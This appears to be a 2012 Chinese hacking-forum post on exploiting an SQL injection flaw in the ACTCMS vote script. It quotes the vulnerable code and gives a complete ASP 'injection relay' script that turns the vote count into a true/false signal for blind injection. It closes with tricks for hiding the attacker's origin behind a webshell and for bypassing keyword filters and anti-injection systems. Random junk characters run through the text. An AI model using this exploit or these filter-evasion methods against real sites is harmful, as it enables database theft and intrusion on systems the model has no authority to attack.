找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2048|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
& E2 j. F* V6 `; C/ g& e! j
看到ninty大牛的blog的一篇文章- I. D2 W( p' ?; z& m
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
+ {& [/ x# G( W, s9 a& G关于actcms漏洞的利用  by 3x qq:381862589
, O& t0 N, X2 D0 Q# t8 [3 `4 v$ s转载请注明以上
/ ~+ n& j% Y5 M4 M7 @漏洞文件:
! V' S& _# V8 K  O. Z/plus/vote/vote.asp
) o  H& f8 r+ u" D8 Q代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    0 v. g8 N7 G: S0 \

7 Y6 T" {/ ?6 y. B; h, A: W- d2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   . d$ K5 a& K/ B! [1 W- ]. w% l
2 L+ v& y: I- f% Q0 I
3    response.end    . [/ H+ W% O% ^! A$ R  U

1 I% w- M: o/ a( |4    end if   
% o4 N# O5 l$ C6 `; x) g- n5 U4 q1 n/ K: o
5    for i=1 to request("voted").count   
0 U1 {" y/ o1 O1 j; k3 a( O: r/ Z: @! X. i8 V
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    + e; Q. ~9 m, o) E; e2 a  N/ Y

7 ^4 v" O8 F9 r  g7 u: y: z2 I7    next    * f3 h: _2 K/ M5 g. B

+ t+ b& ?( ?! G8....   
" B7 Y2 L0 n1 P) V0 Y; h
3 t  }1 r0 r! }5 ~9 [9 q+ ]9response.Redirect "index.asp?id="&id&""   ! I# d5 @2 `: e1 m+ C, ^9 V9 N
投票结束回跳转回index.asp这个投票结果页面- z- t* A% ]7 V9 ?  y, j7 b- _1 P
如果投票成功票数加1
" T, J; H* h+ J* K            失败票数不变
# C8 I8 K+ Z; X% ?" D; F) R如图:8 C4 H  F8 }  j; G
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
9 W  }, j) Q! y% W: R) g6 }. k7 d" Y) E$ n9 _% X1 N  K! r2 Z
2009-12-27 13:20
8 U$ l0 r% n  y& T' D# F: m# B, d
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了% N( n3 E8 Z5 i! h$ M

1 k& n/ U5 o, q" W6 z3 l4 v, I本帖隐藏的内容需要回复才可以浏览4 W- c4 w- i) T8 I
我们用注入中转来实现这个注入具体代码如下:5 ~0 `3 a+ y# X  D
先用寂寞的刺猬大牛的注入中转生成jmget.asp
* H1 p) `+ u( q0 q, b注入地址:http://localhost/actcms/plus/vote/vote.asp6 M2 j4 s- G% w2 m
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项" b+ R/ R4 R7 P7 H) P( J& f2 ]
8 q- `7 \' o) }7 l# ^) s, y
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% / F3 Y! g9 ~- ~( O( U
! j( E8 T, c  f/ \
02JmdcwName=request("jmdcw")
0 t/ D( F- r1 @# [. _1 \  I+ {5 T# d, M) E$ K0 I
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
( \6 P! n" E$ t+ j* ^: X0 G3 `( |6 O5 w) [
04JmStr="id=1&voted=-1 or 1="&JmdcwName 1 s) _9 M! g4 ?2 N3 ~- I
* N% d( M% B& C
05JmStr=URLEncoding(JmStr) 6 G" I0 d. f* n
: {8 U) o: l8 _: N' z' P, t
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"5 Z4 s6 y7 K! Z! P! z

0 I' ^" }. M" L  D$ b2 G& m# V07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
7 |; e6 _4 O; h, u1 c, C; M& d* `/ Q6 ^' W0 `4 p
08testurl=testurl & "?" & JmStr & f" t7 D+ J) c3 i% o) G$ a
0 ]) y) `) L: l0 \) W; Z
09JMUrl=JMUrl & "?" & JmStr
" p5 m; g) `  D8 `6 j4 D0 q* F8 j" F; _
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
2 C  v6 e( I, q" p. L) k7 @
+ ^) O! L3 o7 ^11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. b: S, P8 L/ t" h9 G4 F5 g" [5 y0 j( X4 {; M* `
12JmCok=replace(JmCok,chr(32),"%20")  
% K: B& J1 }" y2 S2 N* S
/ a' K% ?' [" L, X4 B0 g: E13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 , s( y3 F, s  N
) o. v' \; @9 \8 D0 {' g3 l
14  7 g$ x, p: G! Y0 u# Q4 L

5 H1 x, ]- b2 v15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 6 j2 g7 J- P" ~! B& u
. d' h( I- z5 G" c3 E
16  
; p: z4 d5 o$ `& N
+ x9 k# G& N2 }7 R: J. }) r: d17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 4 _2 G# q& N  K4 X! s3 ^8 ]
" B- U. }5 Y- W* r) E. B8 J4 Z* o
18response.write test1&""&test2&""
7 n3 Q9 Y0 h  k, f. ]+ e6 {0 d. R
19  ; M& d" j- O: ^, J7 u
3 C3 H5 ~  L: f' p, f$ ~
20if test1=test2 then '如前后记录相等,表示失败 % o2 w! s: x- r& M, A+ ~3 }

& y& \0 Q  ^$ @5 G- n( u8 y21  response.write "failed"
. t' a" Z* J& ^
, K2 r5 v" P' F& O" g) S/ {: ]$ C22else + w' g* u' |( e1 F3 e( J% d; W
8 [+ l% J- g- ?" W+ c5 A- J6 V
23  response.write "succeed"6 `! |& p! B$ g0 f7 m% T1 Y

; W* t) L% l; u* ]8 b24end if  ' f( g) Z* y0 x$ e

, ]. A8 d" q' l  f# u25  $ t4 ?$ r/ d' k# V( {, h
7 l9 ^$ w# P* M& n5 v' k
26response.write "by 3x"! N! K1 o0 A7 S$ Z- i
4 L) O. W  C) }8 M7 w
27  ) d1 \  i/ u$ `

+ E; o1 `& m5 G: ?0 j! n! R28  
& B' X. }1 X. R& `/ r8 _- @9 L" f( N# X3 y5 ^1 R
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
/ {/ ?. f1 G8 T! {! S- |4 W- ?) x
, P! m$ x) I, e1 i30Dim Http
7 |2 G# u1 R" w' x, Y! s5 |4 d& y4 e
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 0 Z$ ~' x% |( m% r

: W# \. q9 W. G32With Http
7 O1 W5 Z1 x: ?2 U8 _% C7 H" k5 r8 i
33  " o- G$ V3 i/ ]! W
: u. @% S3 }, L( B
34.Open "GET",PostUrl,False
, f3 l9 M0 @. v
8 ~0 E2 s0 n- ^' e2 q35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"1 X2 v% K! |6 @% j
+ V3 n  t2 r# w! c
36.SetRequestHeader "Referer",PostRef 7 x1 U: Y7 p/ Y+ E7 i8 v# T

6 l$ X) y$ o4 a! n# o( ?1 U$ J* Z37.SetRequestHeader "Cookie",PostCok 5 s) R# ^5 Y1 G& i) ^  s3 H2 S

) `" \* m3 I7 Y; u38.Send ()
; v/ w/ W2 D6 X; x. q, f# `# P+ N' C7 @" [7 v
39PostData = .ResponseBody
+ S: L  _5 _' E+ V6 X* `  |/ P2 ?3 ~$ d4 q: c3 G
40End With( ~5 v* ~5 f. n: ^# _2 g

) d0 _8 E7 o1 d8 z41Set Http = Nothing4 R5 x. o5 |! D

8 b6 [6 L( J, N3 Y( u5 n42PostData =bytes2BSTR(PostData)
9 b$ s. [7 ?- ^9 E6 `* `) v9 l  ]
43End Function/ a5 X+ i( u9 I
- V9 Y. C' G5 c4 O: K8 m
44  
% E$ R( i  j* `' p$ S( P! m9 p) ~  _/ ~& h+ f4 }
45  " _; Y- L8 t" q; t" i1 j

. @) U) D* s3 e9 c7 U7 W; u0 ~, N+ L46Function bytes2BSTR(vIn) 2 ~: _# d% G& w7 a, O
% S% i$ E9 P( e
47Dim strReturn 2 X7 S& H/ {/ k8 g5 T2 n  I& o

1 ?" p, \9 n: K0 A' q5 x# A8 R48Dim I, ThisCharCode, NextCharCode
/ c8 ^- o4 Y/ l' S3 Q  t7 ~7 K" D! i% `. y8 Q
49strReturn = ""
9 J! E& ]7 x9 f0 x" q  G+ Z6 p7 `& \) A! p/ a. ?
50For I = 1 To LenB(vIn)
1 b( x* ^( u  P' q; q
) G  i8 e2 L' L1 z& |51ThisCharCode = AscB(MidB(vIn, I, 1))
+ W" K6 n+ Z3 k" u- ], S# P/ M2 G, o" e) n: I6 a8 Q% ?( ^
52If ThisCharCode < &H80 Then
+ e/ p5 u6 k) z+ G0 Y
; V# N, b  `3 s; z' G53strReturn = strReturn & Chr(ThisCharCode)
! A! i% i8 ]% ]. B( b. g2 \% l# J" N# L* s- P
54Else
' R/ k, G, g8 d* S, i$ k# Q  D% B/ P% z! i/ g: P3 i  o
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
$ L6 H. \& @4 x& J) m4 }; S2 u3 _6 }; S; e$ }+ r. \( H
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ) j+ \; v& {# k
4 \+ u. o5 }; J8 e2 U
57I = I + 1
: V1 E1 g9 [2 H( g( I5 C
/ T" K2 @5 @) z' F58End If$ @" s3 P$ G4 E
; ?# c6 [7 B* t; h
59Next
; Z; x3 i# m! G, {# B3 @" }) W7 R7 K5 S6 O8 Z6 o
60bytes2BSTR = strReturn
1 x$ J4 R. l# g; P& ~' S
" m) u# h4 |4 F- X' I' k61End Function6 d$ I4 C2 r; n& f) d

8 ]/ K0 k: `% X7 X. Q62  
7 K( k2 u4 F# B* h0 ~# d& Y4 C# e7 R- ]5 O1 x
63Function URLEncoding(vstrin)  
% o3 Q) s- b/ y; m; A8 X7 z  V
* S* k$ {; C/ ]; t* a4 L0 r64strReturn=""
+ a+ @9 b4 ~! Y6 R
, c9 H- y# Q$ u6 r" [& ~! O& ]65Dim i
0 V9 k9 g2 j9 n) N3 k& O
7 L% N9 z  B7 J3 D4 a66For i=1 To Len(vstrin)
& N( [" X  x- _$ `2 Z9 e# H  x8 ^$ B2 e; |7 O
67ThisChr=Mid(vstrin,i,1) $ S8 a/ A1 l, i4 m5 y

) o1 F" V5 a( G9 ]" U5 T" Y7 Q! `68if Abs(Asc(ThisChr))< &HFF Then
8 X$ H5 @" V9 V! o* |9 {5 Z: V/ A
. h0 u! d% V6 D9 z69strReturn=strReturn & ThisChr
- @. ]: Z) _7 r" }( n3 N$ z2 z9 u: c7 b
70Else: z. X8 Z) P* I  T% i

/ C$ w% p/ m: g" d& `6 W71InnerCode=Asc(ThisChr)
6 ?; h4 x9 h* K" W3 ]# o* `- ]' }. t( M1 C' M0 Y6 g
72If InnerCode<0 Then
$ v+ f8 Y" F$ U3 F
* W5 I5 L* c* F73InnerCode=InnerCode + &H10000
$ q- F3 L& i- u
* k& P% b' k6 }. q" v, |74End If, U5 m4 f# k" A% e$ K+ D

) o  n: u" ^, B! d3 M( r75Hight1=(InnerCode And &HFF00) \&HFF . m5 u( b( P+ O: w# C
. A* P  r* n! _! h
76Low1=InnerCode And &HFF
6 {9 ^# ]# |; n& ^) x, m
; o, z, Z8 U0 e6 X77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
5 @7 q# Y( k: h8 [. J3 p
8 _- c' _6 H7 H78End if 0 e# E7 G  G6 {% K/ l1 R

  m& ^) ]- O# X! R: h79Next5 C$ e7 C  j1 E8 B0 j7 R3 y
2 H/ {, e( P, W* ~
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
6 E7 Z/ A5 V2 A% m6 I: A
5 L/ t+ o/ Z$ }; u; @0 i, i81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
, [+ g" J, ^' i& m" w6 \0 J
' n. ]3 I/ E; d# ?  [; z82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 9 ~1 {8 l5 H, K& u2 b5 X  C
2 h( [3 Y/ u$ Z; H0 D6 U
83URLEncoding=strReturn * x3 }5 o' `' r7 Q! v( K- q- @
: l' a! M; w, |. E
84End Function: C9 P: s# ?/ v
9 I4 ~7 c- s$ F, z& H; l) }( ~
85  , B; P; C6 c2 u
: r0 X% X. U$ N1 B# Z- `/ n+ a
86function getSt(body) 0 a, E; ?6 j/ p! \: x$ r

$ c9 d2 K: r2 B- ^$ B- Z/ J+ ]4 ]87  startpot=instr(body,"投票人数:")+len("投票人数:") ' U/ Q) S6 f$ M' m& w  {2 l/ p
! r4 V  ]7 [: J: g$ R1 f8 b
88  endpot=instr(startpot,body," ")
- X' c+ a/ |; u" l& k
' O$ N; S0 J, k6 m2 F89  getSt=mid(body,startpot,endpot-startpot)
* Q* \$ q+ |' d$ Q0 a! ]
9 i; w: V& t$ Q: F' `* i$ T9 {90end function
. U! O+ N$ y& U2 P0 T- u; V1 I! B" w- @' w  B) ]2 [/ x9 i
91%>
" a6 v) j) h$ s3 \, B注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了+ {# b( ]1 c& k0 }
测试下效果:
) H$ {9 `, T* z投票成功:$ m' y( u, x. N- k. x0 l' E
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)) W, Y! s; ~+ ?: ?9 b
# K. R$ |0 {7 e) r: W5 v) |
2009-12-27 13:29' I: r7 j2 v6 E4 m) S2 \# ^8 Q' L
投票失败
. u, W0 m0 U+ P7 ~3 a% ^7 L5 qhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)2 I. h0 i- E' F

5 [  ^6 Q" c1 A% }5 h2009-12-27 13:298 A- J$ @7 m/ w! C8 X$ S  t
-------------------------------------------------------------------------------. C' q7 g5 h1 t) R/ [# |
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以5 Z6 y: O7 }& c1 I! U
很抱歉。。。只能用单线程工具去注入。。。。。
1 h7 m" `0 i& w% |所以失败。。。不好意思。。。: O( E$ @, \: r
-------------------------------------------------------------------------------
; ]: v% a; F3 j5 ~; {( q  p9 @6 Z5 Y! o; R8 D! P. F3 S
注入中转的一些其他应用8 N  S; Y& e. |7 b
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
! p4 e  J$ k8 a" t- s7 p2 \5 G# h& Z  O1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
, E! _5 Q: O5 t4 H' U( J2.post注入转成get型的注入,方便我们使用工具来跑! ]/ u# D# l! o5 ~/ A
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")# K7 j5 y" V2 ^* W
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
& [; j. ]: ?- }7 T! G1 o; R, X0 }: x" l' x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表